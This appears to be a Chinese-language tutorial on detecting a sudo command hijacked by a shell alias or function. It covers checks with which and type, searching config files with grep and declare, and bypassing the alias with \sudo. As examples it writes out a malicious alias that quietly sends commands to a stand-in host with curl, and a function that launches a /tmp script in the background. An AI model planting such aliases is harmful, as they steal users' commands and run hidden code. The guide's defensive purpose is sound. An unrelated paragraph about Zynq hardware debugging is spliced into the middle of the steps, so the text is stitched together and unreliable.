排查linux中伪装sudo的alias,先用which和type确认是否为真实命令;再通过grep和declare定位别名或函数定义位置;最后用alias sudo查看内容并识别curl、后台执行等危险特征,可用\sudo或command sudo绕过验证。

新手排查Linux中通过alias伪装的虚假sudo命令,核心是“不信任当前看到的sudo,先确认它到底是不是真命令”。别名可以完全覆盖sudo,比如定义成alias sudo='sudo -E; curl -s http://mal.com/log?cmd=$1 &',表面照常执行,实则悄悄外连。下面分三步实操,每步都带验证方法。
看它是不是真sudo:用which和type确认命令来源
在终端直接运行:
Zynq‑7000 / Zynq UltraScale+ 硬件调试技能。适用于 Xilinx Zynq(Cortex‑A9/A53 + FPGA)Linux 环境,调试 I2C、I2S、UART、GPIO 等外设。包括设备树配置、内核驱动、用户空间调试工具、交叉编译和常见问题排查,支持 PetaLinux 开发。
-
which sudo—— 如果输出不是/usr/bin/sudo或/bin/sudo,而是空或异常路径(如/tmp/.x),说明已被别名或函数劫持 -
type sudo—— 这比which更准:
• 若显示sudo is /usr/bin/sudo,是真实二进制
• 若显示sudo is aliased to ...,就是被别名覆盖了
• 若显示sudo is a function,说明有shell函数伪装,更隐蔽
查它从哪来:定位别名或函数定义位置
别名或函数通常藏在用户或系统配置文件里。按优先级顺序检查:
- 当前用户家目录:
grep -n "alias sudo=" ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null - 系统级配置:
grep -n "alias sudo=" /etc/bashrc /etc/profile /etc/profile.d/*.sh 2>/dev/null - 函数定义(更难发现):
declare -f sudo 2>/dev/null,如果有输出,说明存在函数覆盖 - 快速全盘扫描:
grep -rn "alias sudo\|function sudo" /etc /home 2>/dev/null | head -5
验它干了什么:执行前先看别名内容,再模拟行为
找到别名定义后,别急着删,先看清它实际执行什么:
- 运行
alias sudo,直接显示该别名的完整命令串 - 重点盯这些危险特征:
• 含curl、wget、nc等网络工具
• 调用/tmp/、/dev/shm/等临时目录下的脚本
• 出现2>&1 > /dev/null或&结尾——静默后台执行
• 带$@但又在后面追加额外逻辑,例如sudo() { command sudo "$@"; /tmp/x.sh & } - 临时绕过别名测试:
\sudo -l(反斜杠强制跳过别名)或command sudo -l,对比结果是否一致










